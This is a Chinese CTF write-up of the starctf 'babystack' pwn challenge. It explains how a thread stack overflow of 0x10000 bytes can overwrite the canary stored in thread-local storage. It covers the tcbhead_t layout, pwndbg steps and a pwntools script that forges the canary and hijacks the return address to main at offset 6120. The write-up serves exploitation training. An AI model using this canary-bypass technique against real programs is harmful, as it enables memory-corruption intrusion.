之前在看ctfwiki的时候,有关劫持TLS的攻击技术仅仅是一笔带过,最近终于找到原题来练练手,深入学习一下。
这道题是starctf的babystack。整个题目非常简单,创建了一个线程,线程函数内存在栈溢出,而且溢出字节可达到0x10000。
main函数:
start_routine函数
这种技术有两个前提:
1. 溢出字节够大,通常至少一个page(4K)
2. 创建一个线程,在线程内栈溢出
原理
当程序在创建线程的时候,顺便会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方。所以,当我们溢出足够大的字节,就可以控制TLS结构体,进而控制canary,实现ROP。
TLS结构体:
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
解题:
首先启动gdb,断点下在我们输入完成的地方。这里我们输入了abcd\nab。
我们可以看到,我输入的abcd\ncd存在栈的0x7ffff77edf40。
然后我们使用canary命令,确定当前canary的值为0xb32920cddd174c00。pwndbg顺便给出了栈上其他地方存在0xb32920cddd174c00的地址。而这些地址很有可能就是TLS中存放canary的地址。
接下来,我们写个脚本逐个尝试。我们首先假设canary为0xdeadbeef,然后将函数返回地址劫持到main函数,随后我们溢出足够长的字节,并写入我们设定的canary。
main_addr=0x0400A9D
offset = # unknown
p = process('./bs')
p.recvuntil("How many bytes do you want to send?")
payload = ''
payload += 'a'*0x1008
payload += p64(0xdeadbeef) # canary
payload += p64(0x0) # ebp
payload += p64(main_addr) # ret address
payload += (offset - 0x1010 - 0x10) * '\x00' + p64(0xdeadbeef) # tls.canary
p.sendline(str(len(payload)))
p.send(payload)
temp = p.recvall()
print temp
p.interactive()
那么这个offset是多少呢?
因为TLS.canary就应该是我们刚才调试出来的几个值中的一个。所以,我们逐个尝试,如果返回了main函数,就说明我们劫持成功。
我们计算一下偏移:
我们将这几个值设为offset都去试试。
最终我们在offset=6120的时候,成功返回了main函数。
接下来,常规ROP即可。
文章推荐 【PWN】记一次unlink学习 被过滤了引号的SQL注入如何破? 从一道题入门JAVA反序列化漏洞 你不能不知道的的JWT相关漏洞 CTF学习资料和练习平台收集汇总